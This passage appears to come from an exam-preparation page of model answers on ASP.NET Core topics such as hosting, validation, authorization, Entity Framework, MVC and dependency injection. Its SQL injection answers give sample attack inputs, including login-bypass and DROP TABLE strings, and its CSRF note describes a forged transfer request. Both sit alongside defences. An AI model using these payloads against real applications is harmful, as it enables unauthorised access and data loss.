<AspNetCoreHostingModel>InProcess</AspNetCoreHostingModel>in the project file.
- The app runs inside the IIS worker process (
-
Out-of-process hosting (reverse proxy)
- Kestrel runs as a separate process and a reverse-proxy server (IIS, Nginx or Apache) forwards requests to it.
- The proxy handles port sharing, SSL termination, load balancing, request filtering and security hardening, while Kestrel executes the app.
- Works on Windows, Linux and macOS. Slightly slower because of the extra hop, but more flexible and isolated.
(Self-hosting Kestrel directly as an edge server, and Docker/containers, are other options.)
Client-side validation using jQuery for the student form (Library Management System)
Assumptions: the form takes student ID, name, email, phone and the book ID to be borrowed. The jQuery Validation plugin is used.
<!DOCTYPE html>
<html>
<head>
<title>Library - Student Entry</title>
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/jquery-validation@1.19.5/dist/jquery.validate.min.js"></script>
<style>.error { color: red; font-size: 0.9em; }</style>
</head>
<body>
<form id="studentForm" method="post" action="/Student/Create">
<label>Student ID</label>
<input type="text" name="studentId" id="studentId" /><br />
<label>Full Name</label>
<input type="text" name="fullName" id="fullName" /><br />
<label>Email</label>
<input type="text" name="email" id="email" /><br />
<label>Phone</label>
<input type="text" name="phone" id="phone" /><br />
<label>Book ID</label>
<input type="text" name="bookId" id="bookId" /><br />
<input type="submit" value="Register" />
</form>
<script>
$(function () {
$("#studentForm").validate({
rules: {
studentId: { required: true, digits: true, minlength: 4, maxlength: 10 },
fullName: { required: true, minlength: 3 },
email: { required: true, email: true },
phone: { required: true, digits: true, minlength: 10, maxlength: 10 },
bookId: { required: true, pattern: /^[A-Z]{2}\d{3}$/ }
},
messages: {
studentId: { required: "Student ID is required", digits: "Digits only" },
fullName: { required: "Name is required", minlength: "At least 3 characters" },
email: { required: "Email is required", email: "Enter a valid email address" },
phone: { required: "Phone is required", minlength: "Phone must be 10 digits", maxlength: "Phone must be 10 digits" },
bookId: { required: "Book ID is required", pattern: "Format like CS101" }
},
submitHandler: function (form) {
form.submit(); // runs only when every rule is satisfied
}
});
});
</script>
</body>
</html>
The browser checks every rule before the form is posted, so invalid data never reaches the server and the user gets immediate feedback. Client-side validation is only a convenience: the server must validate again (for example with data annotations and ModelState.IsValid) because JavaScript can be bypassed.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
How to you assign roles, claims and policies? Explain with an example.
Answer
Roles, claims and policies in ASP.NET Core authorization
- Role: a named group of users, such as
AdminorLibrarian. Access is granted to the role, not to individual users. - Claim: a name-value pair describing the user (for example
Department = Computer,Age = 25,EmployeeId = 101). Claims are held in theClaimsPrincipaland are issued by a trusted authority. - Policy: a named set of requirements (role, claim, or custom requirement) registered at startup and applied with
[Authorize(Policy = "...")].
Assigning roles. Create a role with RoleManager and add a user to it with UserManager:
await roleManager.CreateAsync(new IdentityRole("Admin"));
await userManager.AddToRoleAsync(user, "Admin");
Use it on a controller: [Authorize(Roles = "Admin,Manager")].
Assigning claims.
await userManager.AddClaimAsync(user, new Claim("Department", "Computer"));
Defining policies in Program.cs.
builder.Services.AddAuthorization(options =>
{
options.AddPolicy("AdminOnly", p => p.RequireRole("Admin"));
options.AddPolicy("ComputerDept", p => p.RequireClaim("Department", "Computer"));
options.AddPolicy("Adult", p => p.RequireAssertion(ctx =>
int.Parse(ctx.User.FindFirst("Age")?.Value ?? "0") >= 18));
});
Example of use.
[Authorize(Policy = "ComputerDept")]
public IActionResult LabReport() => View();
Here a logged-in user who has been given the claim Department = Computer can open LabReport; every other user receives 403 Forbidden (or is redirected to the access-denied page). Policies are preferred over plain roles because the rule is defined in one place and can combine several requirements.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
What types of problems lead to SQL injection attack? Discuss any two types of ASP.Net host models.
Answer
Problems that lead to SQL injection
SQL injection occurs when user input is inserted into an SQL statement as code instead of as data. Typical causes are:
- String concatenation to build queries, e.g.
"SELECT * FROM Users WHERE name='" + name + "'". Input such as' OR '1'='1changes the query logic and bypasses login. - No input validation or sanitisation, so quotes, semicolons and comment markers (
--) reach the database. - Over-privileged database accounts (e.g. using
sa), so an injectedDROP TABLEorxp_cmdshellsucceeds. - Detailed error messages shown to users, which reveal table and column names.
- Dynamic SQL in stored procedures built by concatenation.
Prevention: parameterised queries (SqlParameter), stored procedures, an ORM such as Entity Framework, whitelist validation, least-privilege accounts and generic error pages.
Two ASP.NET Core host models
- In-process hosting: the app runs inside the IIS worker process (
w3wp.exe). There is no network hop between the web server and the app, so performance is high. It is available only on Windows/IIS. - Out-of-process hosting: the app runs on the Kestrel server in its own process, and a reverse proxy (IIS, Nginx, Apache) forwards requests to it. The proxy provides SSL termination, load balancing and extra security, and the model works on Windows, Linux and macOS, at the cost of a small proxying overhead.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
What does single page application means? Discuss about server side strategies.
Answer
Single Page Application (SPA)
A single page application is a web application that loads one HTML page once and then updates its content dynamically in the browser using JavaScript, without reloading the whole page on every navigation. The browser fetches only data (usually JSON) from the server through AJAX/Fetch calls, and client-side routing changes the view. Examples are Gmail and Google Maps; common frameworks are Angular, React and Vue.
Advantages: fast, app-like experience, less data transferred, clear separation between front end and back-end API. Drawbacks: slower first load, harder SEO, and heavy dependence on JavaScript.
Server-side strategies for a SPA
- Serving the static files: the server (ASP.NET Core) hosts the built SPA files (
index.html, JS, CSS) using static file middleware, e.g.app.UseStaticFiles()andUseSpaStaticFiles(). - Fallback routing: because navigation is handled in the browser, a direct request to
/products/5has no matching server route. The server must returnindex.htmlfor all non-API, non-file URLs (app.MapFallbackToFile("index.html")) so the client router can take over. - Web API back end: the server exposes REST/JSON endpoints (
/api/...) through API controllers that the SPA calls for data. Responses carry only data, with proper HTTP status codes. - Authentication and security: token-based authentication (JWT, cookies with anti-forgery tokens), CORS configuration when the SPA and API are on different origins, and HTTPS.
- Server-side rendering / pre-rendering: the server renders the initial HTML so that the first page appears quickly and search engines can index it, after which the client takes over.
- Development proxying: during development the SPA dev server (e.g. webpack, Vite) is proxied by ASP.NET Core so hot reload works.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
Write an ADO. Net application to read the data from the existing table MOVIE(id, name, genre), where genre is “comedy”.
Answer
ADO.NET application to read MOVIE records where genre is "comedy"
using System;
using System.Data;
using System.Data.SqlClient;
class Program
{
static void Main()
{
string connStr = "Server=.;Database=MovieDb;Trusted_Connection=True;";
string sql = "SELECT id, name, genre FROM MOVIE WHERE genre = @genre";
using (SqlConnection con = new SqlConnection(connStr))
using (SqlCommand cmd = new SqlCommand(sql, con))
{
cmd.Parameters.AddWithValue("@genre", "comedy");
con.Open();
using (SqlDataReader rd = cmd.ExecuteReader())
{
Console.WriteLine("ID\tName\tGenre");
while (rd.Read())
{
Console.WriteLine($"{rd["id"]}\t{rd["name"]}\t{rd["genre"]}");
}
}
}
}
}
Explanation: SqlConnection opens the database, SqlCommand holds the SELECT statement, and the parameter @genre prevents SQL injection. ExecuteReader() returns a forward-only, read-only SqlDataReader, and Read() moves to each matching row. The using blocks close the reader and connection automatically.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
Differentiate between .NET and ASP.NET frameworks. How do you test the .NET core applications?
Answer
.NET versus ASP.NET
| Basis | .NET | ASP.NET |
|---|---|---|
| Nature | A general-purpose development platform (runtime, base class libraries, languages) | A web framework built on top of .NET |
| Purpose | Builds console, desktop, mobile, cloud, web and IoT applications | Builds web applications, web APIs and real-time services only |
| Contents | CLR/runtime, BCL, C#, F#, VB, compilers | MVC, Razor Pages, Web API, Blazor, SignalR, middleware, Identity |
| Dependence | Independent | Needs .NET to run |
| Example | Windows Forms app, console app | Online library website |
Testing .NET Core applications
Testing is done with a test project (dotnet new xunit) referencing the project under test, run with dotnet test.
- Unit testing: test one class or method in isolation using xUnit, NUnit or MSTest, with the Arrange-Act-Assert pattern. Dependencies are replaced with mocks (Moq) or in-memory fakes, which is easy because of dependency injection.
- Integration testing: test several components together using
WebApplicationFactory<TEntryPoint>, which starts the app in memory with a testHttpClient, and the EF Core InMemory or SQLite provider in place of the real database. - Functional/UI testing: Selenium or Playwright drive the browser end-to-end.
- Load testing: tools such as JMeter or k6.
Example:
[Fact]
public void Add_ReturnsSum()
{
var calc = new Calculator();
Assert.Equal(5, calc.Add(2, 3));
}
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
Define HTTP. Explain the MVC pattern.
Answer
HTTP
HTTP (HyperText Transfer Protocol) is the application-layer, request-response protocol used on the Web. A client (browser) sends a request containing a method (GET, POST, PUT, DELETE), URL, headers and optional body; the server replies with a status code (200, 404, 500), headers and a body (HTML, JSON). HTTP is stateless, meaning each request is independent, so state is kept using cookies, sessions or tokens. It runs over TCP, port 80 (HTTPS uses TLS on port 443).
MVC pattern
Model-View-Controller divides an application into three parts to separate concerns:
- Model: the data and business logic (entity classes, validation rules, database access). It knows nothing about the UI.
- View: the user interface that displays model data, written in Razor (
.cshtml). - Controller: receives the HTTP request, calls the model, selects the data and returns the appropriate view or result.
Request flow: the browser sends a request, routing selects a controller action, the controller works with the model, passes the result to a view, and the rendered HTML is returned.
Browser -> Routing -> Controller -> Model (DB)
| |
+--> View <---+ -> HTML response
Benefits: separation of concerns, easier unit testing, parallel development by different teams, reusable components and full control over HTML. In ASP.NET Core, a controller derives from Controller, models are plain C# classes, and views live in the Views/<Controller> folder.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
What does dependency injection and IOC container means? Explain.
Answer
Dependency injection (DI)
Dependency injection is a design technique in which a class receives the objects it depends on from outside instead of creating them with new. This gives loose coupling, easier testing (a mock can be passed in) and easier replacement of implementations. The usual form is constructor injection:
public interface IMessageService { void Send(string msg); }
public class EmailService : IMessageService { public void Send(string msg) { /* send email */ } }
public class OrderController : Controller
{
private readonly IMessageService _svc;
public OrderController(IMessageService svc) { _svc = svc; } // injected
}
IoC container
Inversion of Control means the framework, not the class, controls the creation and lifetime of objects. The IoC (DI) container is the component that holds the registrations of services, creates the objects, resolves their dependencies (including nested ones) and disposes them. ASP.NET Core has a built-in container, configured in Program.cs:
builder.Services.AddTransient<IMessageService, EmailService>(); // new instance each time
builder.Services.AddScoped<IMessageService, EmailService>(); // one per request
builder.Services.AddSingleton<IMessageService, EmailService>(); // one for the application
When OrderController is requested, the container sees that it needs IMessageService, builds an EmailService according to the registered lifetime, and passes it to the constructor.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
What is tag helper? Discuss about razor syntax with an example.
Answer
Tag helper
A tag helper is a server-side C# class that takes part in creating and rendering HTML elements in Razor views. It lets server code add attributes and behaviour to ordinary-looking HTML tags, so the view stays clean and readable compared with HTML helpers (@Html.ActionLink). Tag helpers are enabled in _ViewImports.cshtml:
@addTagHelper *, Microsoft.AspNetCore.Mvc.TagHelpers
Examples: <a asp-controller="Home" asp-action="Index">, <form asp-action="Create">, <input asp-for="Name" />, <label asp-for="Name">, <span asp-validation-for="Name">.
Razor syntax
Razor is a markup syntax that mixes C# with HTML in .cshtml files. The @ symbol switches from HTML to C#.
- Expressions:
@Model.Name,@(price * 2)(output is HTML-encoded automatically). - Code blocks:
@{ var total = 10; }. - Control structures:
@if,@foreach,@switch. - Directives:
@model,@using,@inject,@section. - Comments:
@* comment *@.
Example (view for a list of students, with @model List<Student>):
@model List<Student>
<h2>Student list</h2>
<table>
@foreach (var s in Model)
{
<tr>
<td>@s.Id</td>
<td>@s.Name</td>
<td>
@if (s.Marks >= 40) { <span>Pass</span> } else { <span>Fail</span> }
</td>
<td><a asp-action="Details" asp-route-id="@s.Id">Details</a></td>
</tr>
}
</table>
The server runs the C# part, generates plain HTML and sends only that HTML to the browser.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2079 · 5 marks
Write short notes on (any two):
-
Lambda Expression
-
Containerization using Docker
-
Delegates and Events
Answer
Short notes (any two)
1. Lambda expression
A lambda expression is an anonymous function written with the lambda operator => ("goes to"). The left side holds input parameters and the right side an expression or statement block. It can be converted to a delegate or an expression tree and is the basis of LINQ.
Func<int, int> square = x => x * x;
Console.WriteLine(square(5)); // 25
var even = numbers.Where(n => n % 2 == 0).ToList(); // LINQ filter
Action<string> show = msg => { Console.WriteLine(msg); };
Advantages: concise code, no separate named method, and it can capture variables from the surrounding scope (closure).
2. Delegates and events
A delegate is a type-safe reference to a method; it defines a method signature and can point to any matching method, including multiple methods (multicast).
public delegate void Notify(string msg);
class Publisher
{
public event Notify OnChange; // event based on delegate
public void Raise() { OnChange?.Invoke("Data changed"); }
}
class Program
{
static void Show(string m) => Console.WriteLine(m);
static void Main()
{
var p = new Publisher();
p.OnChange += Show; // subscribe
p.Raise(); // Data changed
}
}
An event is a wrapper around a delegate that implements the publisher-subscriber model: only the publisher class can raise it, while other classes can only subscribe (+=) or unsubscribe (-=). Events are used for button clicks, notifications and loose coupling.
(Containerization using Docker, the third option: Docker packages an application with its runtime, libraries and configuration into a portable image that runs as an isolated container sharing the host kernel. A Dockerfile describes the build, e.g. FROM mcr.microsoft.com/dotnet/aspnet:8.0, COPY . /app, ENTRYPOINT ["dotnet","App.dll"]. It gives consistent environments, fast start-up and easy scaling.)
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 10 marks
How do you cache the information of the client and what are its uses? Create a table named BAG(ID, Brand, Price, Date). Perform the following operations using Entity Framework Core.
- Update the Price of those Book to 2000 which are published on 2022.
- Delete the Book which are published in 1981
- Retrieve the Brand of Book having price greater than 500
Answer
Caching client information
Caching stores frequently used data temporarily so that it need not be fetched or computed again.
- Client-side (browser) caching: controlled with response headers such as
Cache-Control: public, max-age=3600,ETag,Expires. In ASP.NET Core use[ResponseCache(Duration = 3600)]on an action. Browser storage (cookies,localStorage,sessionStorage) can also keep client information. - Server-side caching:
IMemoryCache(in-process),IDistributedCache(Redis, SQL Server) shared across servers, and response caching middleware.
builder.Services.AddMemoryCache();
public IActionResult Index([FromServices] IMemoryCache cache)
{
var data = cache.GetOrCreate("brands", e =>
{
e.AbsoluteExpirationRelativeToNow = TimeSpan.FromMinutes(10);
return db.Bags.ToList();
});
return View(data);
}
Uses: faster response, reduced load on the database and server, lower bandwidth, better scalability and a better user experience.
Entity Framework Core operations on table BAG(ID, Brand, Price, Date)
Model and context:
public class Bag
{
public int ID { get; set; }
public string Brand { get; set; }
public decimal Price { get; set; }
public DateTime Date { get; set; }
}
public class AppDbContext : DbContext
{
public DbSet<Bag> Bags { get; set; }
protected override void OnConfiguring(DbContextOptionsBuilder o)
=> o.UseSqlServer("Server=.;Database=ShopDb;Trusted_Connection=True;TrustServerCertificate=True");
}
The table is created with a migration: dotnet ef migrations add Init then dotnet ef database update.
1. Update the price to 2000 for items published in 2022
using var db = new AppDbContext();
var items = db.Bags.Where(b => b.Date.Year == 2022).ToList();
foreach (var b in items) b.Price = 2000;
db.SaveChanges();
2. Delete the items published in 1981
var old = db.Bags.Where(b => b.Date.Year == 1981).ToList();
db.Bags.RemoveRange(old);
db.SaveChanges();
3. Retrieve the Brand of items with price greater than 500
var brands = db.Bags.Where(b => b.Price > 500)
.Select(b => b.Brand)
.ToList();
foreach (var br in brands) Console.WriteLine(br);
SaveChanges() sends the tracked changes to the database in a single transaction.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 10 marks
How do you manage state on stateless HTTP? How do you validate form using JQuery? Describe with your own assumptions.
Answer
Managing state on stateless HTTP
HTTP treats each request independently and does not remember earlier requests, so state must be maintained explicitly. Techniques:
| Technique | Where stored | Notes |
|---|---|---|
| Cookies | Client browser | Small name-value data sent with every request; can persist or expire with the session |
| Session state | Server (memory/Redis); session ID in a cookie | Per-user data such as login or cart: HttpContext.Session.SetString("user","ram") after AddSession()/UseSession() |
| Query strings | URL | Small, visible, non-sensitive values, ?id=5 |
| Hidden form fields | HTML form | Carry values between posts |
| TempData | Cookie or session | Survives one redirect, e.g. a success message |
| Cache / Application state | Server | Shared across users |
| Tokens (JWT) | Client | Stateless authentication in APIs |
| Database | Server | Permanent state |
Form validation using jQuery
Assumption: a registration form with name, email, age and password.
<form id="regForm">
<input type="text" name="name" placeholder="Name" />
<input type="text" name="email" placeholder="Email" />
<input type="text" name="age" placeholder="Age" />
<input type="password" name="password" id="password" placeholder="Password" />
<input type="password" name="confirm" placeholder="Confirm password" />
<button type="submit">Register</button>
</form>
<script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/jquery-validation@1.19.5/dist/jquery.validate.min.js"></script>
<script>
$(function () {
$("#regForm").validate({
rules: {
name: { required: true, minlength: 3 },
email: { required: true, email: true },
age: { required: true, digits: true, min: 16, max: 100 },
password: { required: true, minlength: 6 },
confirm: { required: true, equalTo: "#password" }
},
messages: {
name: "Enter your name (at least 3 characters)",
email: "Enter a valid email",
age: "Age must be a number between 16 and 100",
confirm: "Passwords do not match"
},
submitHandler: function (form) { form.submit(); }
});
});
</script>
Without the plugin the same can be done by hand: handle $("#regForm").submit(function(e){ if ($("[name=name]").val().trim()==="") { alert("Name required"); e.preventDefault(); } }). Validation on the client gives instant feedback, but the server must repeat it.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 10 marks
What are the needs for partial class and sealed class? How do you relate delegate with events? State the steps to depl0y .NET core application.
Answer
Partial class
A partial class (partial keyword) splits the definition of one class across two or more files, which the compiler merges into a single class.
Needs:
- Several developers can work on different parts of the same class at the same time.
- Auto-generated code (designer files, EF scaffolding, Razor) is kept separate from hand-written code, so regeneration does not overwrite custom code.
- Large classes become easier to organise.
// File1.cs
public partial class Student { public string Name { get; set; } }
// File2.cs
public partial class Student { public void Show() => Console.WriteLine(Name); }
Sealed class
A sealed class cannot be inherited (sealed class Utility { }). A method can also be sealed in a derived class to stop further overriding.
Needs:
- Prevent unwanted inheritance and protect the class design or security (e.g.
stringis sealed). - Allow the compiler/JIT to optimise calls (no virtual dispatch).
- Make immutable or utility types safe.
Relation between delegate and event
A delegate is a type-safe reference to a method. An event is declared on the basis of a delegate type and exposes it in a restricted way: only the declaring class may raise (invoke) it, while outside code can only subscribe with += and unsubscribe with -=. Events thus implement the publisher-subscriber pattern on top of delegates.
public delegate void AlertHandler(string msg);
class Sensor { public event AlertHandler OnAlert;
public void Trigger() => OnAlert?.Invoke("High temperature"); }
class Demo { static void Main() { var s = new Sensor();
s.OnAlert += m => Console.WriteLine(m); s.Trigger(); } }
Steps to deploy a .NET Core application
- Finish development and test the application; set the environment to Production.
- Publish:
dotnet publish -c Release -o ./publish(self-contained with-r win-x64 --self-containedif the runtime is not installed on the server). - Prepare the server: install the .NET runtime/ASP.NET Core Hosting Bundle (for IIS) or the runtime on Linux; install a web server (IIS, or Nginx/Apache as reverse proxy).
- Copy the published files to the server (FTP, Web Deploy, or CI/CD pipeline).
- Configure the site: create the IIS site with the application pool set to "No Managed Code", or set up an Nginx proxy and a
systemdservice to keep Kestrel running. - Set connection strings, environment variables and HTTPS certificate; apply database migrations (
dotnet ef database update). - Start the site, browse it and check logs; alternatively deploy through Docker image or Azure App Service.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
Desribe the importance of MVC pattern in designing web applications.
Answer
Importance of the MVC pattern in designing web applications
MVC separates an application into Model (data and business logic), View (presentation) and Controller (request handling). Its importance:
- Separation of concerns: UI, logic and data access are independent, so a change in one has little effect on the others (the look of a page can change without touching business rules).
- Easier testing: controllers and models are plain classes with no dependency on the UI, so they are easy to unit test with mocks.
- Parallel development: designers work on views, developers on controllers, and database engineers on models at the same time.
- Multiple views of the same model: the same data can be shown as HTML, JSON or a mobile view.
- Reusability and maintainability: components and partial views are reused, and a clear structure makes large applications easier to maintain and extend.
- Full control over HTML and URLs: clean routing, SEO-friendly URLs and no view-state overhead.
- Support for dependency injection and other modern practices such as REST APIs and TDD.
Request flow: request -> routing -> controller action -> model -> view -> HTML response.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
How do you create controller? Mention some requirements for rendering HTML.
Answer
Creating a controller
In ASP.NET Core MVC, a controller is a public class whose name ends with Controller, usually derived from Controller, placed in the Controllers folder. Its public methods are actions.
Steps: right-click Controllers -> Add -> Controller (or add the class manually), then add actions and register MVC routing (builder.Services.AddControllersWithViews(); and app.MapControllerRoute(name:"default", pattern:"{controller=Home}/{action=Index}/{id?}");).
public class StudentController : Controller
{
public IActionResult Index()
{
var list = new List<string> { "Ram", "Sita" };
return View(list); // renders Views/Student/Index.cshtml
}
}
Requirements for rendering HTML
- A controller action that returns
View()(aViewResult). - A Razor view file at
Views/<ControllerName>/<ActionName>.cshtml(orViews/Shared). - MVC services and view engine registered (
AddControllersWithViews) and routing configured. - Data supplied from the controller via the model,
ViewData, orViewBag, with@modeldeclared in the view. - Layout (
_Layout.cshtml),_ViewStart.cshtmland_ViewImports.cshtml(tag helpers and namespaces) for common structure. - Static files middleware (
UseStaticFiles) for CSS, JavaScript and images.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
What is the role of adapter class in ADO.NET? List some features of URL routing.
Answer
Role of the adapter class in ADO.NET
SqlDataAdapter (or OleDbDataAdapter) acts as a bridge between a disconnected DataSet/DataTable and the data source. It holds four commands: SelectCommand, InsertCommand, UpdateCommand and DeleteCommand.
Fill()executes the SELECT command and loads the result into aDataSet/DataTable; the connection is opened and closed automatically.Update()examines the changes made to the in-memory data and applies them to the database using the insert/update/delete commands (often generated bySqlCommandBuilder).
var da = new SqlDataAdapter("SELECT * FROM Student", con);
var ds = new DataSet();
da.Fill(ds, "Student");
// modify ds ...
new SqlCommandBuilder(da);
da.Update(ds, "Student");
It therefore enables the disconnected data-access model.
Features of URL routing
- Maps incoming URLs to controller actions (or endpoints/Razor Pages) instead of physical files.
- Supports conventional routing (
{controller}/{action}/{id?}) and attribute routing ([Route("api/students/{id}")],[HttpGet]). - Route parameters with defaults, optional values and constraints (
{id:int},{name:alpha}). - Produces clean, human-readable, SEO-friendly URLs.
- Reverse routing / URL generation with
Url.Action,asp-actionandasp-route-*, so links do not break when routes change. - Decouples URLs from the file structure, and allows several routes with a defined order and precedence.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
Explain the chances of SQL injection attack with a scenario.
Answer
SQL injection chances with a scenario
SQL injection is possible whenever an application builds an SQL statement by concatenating user input, because the input is then interpreted as part of the SQL code.
Scenario: login form
string sql = "SELECT * FROM Users WHERE username='" + txtUser.Text +
"' AND password='" + txtPass.Text + "'";
An attacker enters admin' -- as username and anything as password. The query becomes:
SELECT * FROM Users WHERE username='admin' --' AND password='x'
-- comments out the password check, so the attacker logs in as admin with no password. Entering ' OR '1'='1 as the password makes the condition always true and returns all users. An input such as '; DROP TABLE Users; -- could even delete data, and UNION SELECT can expose other tables.
Chances increase when: input is not validated, queries are concatenated, the database account has excessive privileges, and detailed errors are displayed.
Prevention
var cmd = new SqlCommand("SELECT * FROM Users WHERE username=@u AND password=@p", con);
cmd.Parameters.AddWithValue("@u", user);
cmd.Parameters.AddWithValue("@p", pass);
Use parameterised queries/stored procedures or EF Core LINQ, validate input, hash passwords, use a least-privilege database account and show generic error messages.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
Define claim and policy in terms of authorization. How and when do you create hidden fields?
Answer
Claim
A claim is a name-value statement about a user that is issued by a trusted source, for example Department = Computer, DateOfBirth = 2000-01-01 or Email = ram@x.com. Claims are stored in the user's identity (ClaimsPrincipal) and are used to make authorization decisions, e.g. [Authorize] with a claim requirement.
Policy
A policy is a named collection of authorization requirements (roles, claims, or custom rules) registered once and applied wherever needed.
builder.Services.AddAuthorization(o =>
o.AddPolicy("ComputerOnly", p => p.RequireClaim("Department", "Computer")));
[Authorize(Policy = "ComputerOnly")]
public IActionResult Lab() => View();
Hidden fields: how and when
A hidden field is an <input type="hidden"> that carries data with a form post without showing it to the user.
How:
<input type="hidden" name="StudentId" value="@Model.Id" />
or with a tag helper <input asp-for="Id" type="hidden" />, or @Html.HiddenFor(m => m.Id).
When: to keep the record id during an edit/update form, to pass values between pages (state management on stateless HTTP), to carry an anti-forgery token (generated automatically in forms), and to store returning-URL or other non-sensitive data. Because users can change hidden values with browser tools, they must never hold secrets and the server must re-validate them.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
Mention the two types of services managed by IoC container and how they are registered?
Answer
Two types of services managed by the IoC container
- Framework services: services provided and registered by ASP.NET Core itself, such as
ILogger<T>,IConfiguration,IWebHostEnvironment,IOptions<T>, and services for MVC and routing. - Application services: custom services created by the developer, such as repositories, business-logic classes or
DbContext.
Registration
Services are registered in the Program.cs (or Startup.ConfigureServices) through the IServiceCollection (builder.Services). The lifetime is chosen at registration:
builder.Services.AddControllersWithViews(); // framework service
builder.Services.AddDbContext<AppDbContext>(o => o.UseSqlServer(conn));
builder.Services.AddTransient<IEmailService, EmailService>(); // new object every time requested
builder.Services.AddScoped<IStudentRepo, StudentRepo>(); // one object per HTTP request
builder.Services.AddSingleton<ILogService, LogService>(); // one object for the whole application
The container then injects them through constructors (or [FromServices], @inject in views) wherever the interface is requested.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
Differentiate between generic and non-generic collections. Write a simple program to create generic class with generic constructor, generic member variable, generic property and generic method.
Answer
Generic and non-generic collections
| Basis | Non-generic (System.Collections) | Generic (System.Collections.Generic) |
|---|---|---|
| Examples | ArrayList, Hashtable, Stack, Queue | List<T>, Dictionary<K,V>, Stack<T>, Queue<T> |
| Element type | Stores object, so any type can be mixed | Stores one specified type T |
| Type safety | Not type-safe; errors appear at run time | Type-safe; errors found at compile time |
| Performance | Boxing/unboxing and casting needed for value types | No boxing, faster |
| Usage | Legacy | Recommended |
Program with generic class, constructor, member variable, property and method
using System;
public class Box<T>
{
private T item; // generic member variable
public Box(T value) // generic constructor
{
item = value;
}
public T Item // generic property
{
get { return item; }
set { item = value; }
}
public void Display() // method using the generic type
{
Console.WriteLine($"Value = {item}, Type = {typeof(T).Name}");
}
public static void Swap<U>(ref U a, ref U b) // generic method
{
U temp = a; a = b; b = temp;
}
}
class Program
{
static void Main()
{
var b1 = new Box<int>(10);
b1.Display(); // Value = 10, Type = Int32
b1.Item = 25;
b1.Display();
var b2 = new Box<string>("Nepal");
b2.Display(); // Value = Nepal, Type = String
int x = 1, y = 2;
Box<int>.Swap(ref x, ref y);
Console.WriteLine($"{x} {y}"); // 2 1
}
}
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
What are tag helpers? What tag helper provides?
Answer
Tag helpers
Tag helpers are server-side components (C# classes) that let Razor views add server logic to HTML elements through attributes and custom tags, so markup looks like standard HTML. They are enabled in _ViewImports.cshtml with @addTagHelper *, Microsoft.AspNetCore.Mvc.TagHelpers.
What tag helpers provide
- Cleaner, HTML-friendly views: easier for front-end designers than
@Html.*helper syntax. - Link and URL generation:
<a asp-controller="Home" asp-action="Index" asp-route-id="5">,<form asp-action="Save">. - Model binding for forms:
<input asp-for="Email" />sets thename,id,typeandvalue;<label asp-for>,<select asp-for asp-items>,<textarea asp-for>. - Validation messages:
<span asp-validation-for="Email">,<div asp-validation-summary="All">. - Anti-forgery tokens added automatically to forms.
- Environment, cache and resource control:
<environment include="Development">,<cache>, and<script asp-append-version="true">for cache-busting. - Partial views and components:
<partial name="_Menu" />,<vc:cart />. - Custom tag helpers that developers write for their own reusable elements.
- IntelliSense support and compile-time checking.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2080 · 5 marks
Write short notes on (any two)
- Lambda Expression
- Cross Site Request Forgery
- Single Page Application
Answer
Short notes (any two)
1. Cross Site Request Forgery (CSRF)
CSRF is an attack in which a malicious site makes the browser of an authenticated user send an unwanted request to a trusted site where the user is logged in. Because the browser automatically attaches the session cookie, the target site believes the request is genuine. Example: a hidden form on an attacker's page posts to bank.com/transfer?to=attacker&amount=5000, and the transfer is made with the victim's session.
Prevention in ASP.NET Core:
- Anti-forgery tokens: the form tag helper (
<form asp-action="...">) emits a hidden__RequestVerificationTokenand a matching cookie. - Validate with
[ValidateAntiForgeryToken]on the action or[AutoValidateAntiforgeryToken]globally. SameSitecookies, using POST for state-changing actions and re-authentication for sensitive operations.
[HttpPost]
[ValidateAntiForgeryToken]
public IActionResult Transfer(TransferModel m) { ... }
2. Single Page Application (SPA)
A SPA loads one HTML page once and then updates parts of it dynamically in the browser with JavaScript, fetching only data (JSON) from the server through AJAX or Fetch API calls, with client-side routing instead of full page reloads. Frameworks include Angular, React and Vue; the server is a Web API that serves data and falls back to index.html for client routes.
Advantages: fast, smooth, app-like experience; less bandwidth; clean separation of front end and back end. Disadvantages: slow initial load, SEO difficulty (solved by server-side rendering) and dependence on JavaScript.
Answer checked by Claude Sonnet · Oct 21, 2026
Test yourself · 2 MCQs
Loading…
- 2081 · 10 marks
Distinguish between collection and generics. What are named and positional attribute parameters? Write a program to create your own exception when the user gives subject name than “C#”.
Answer
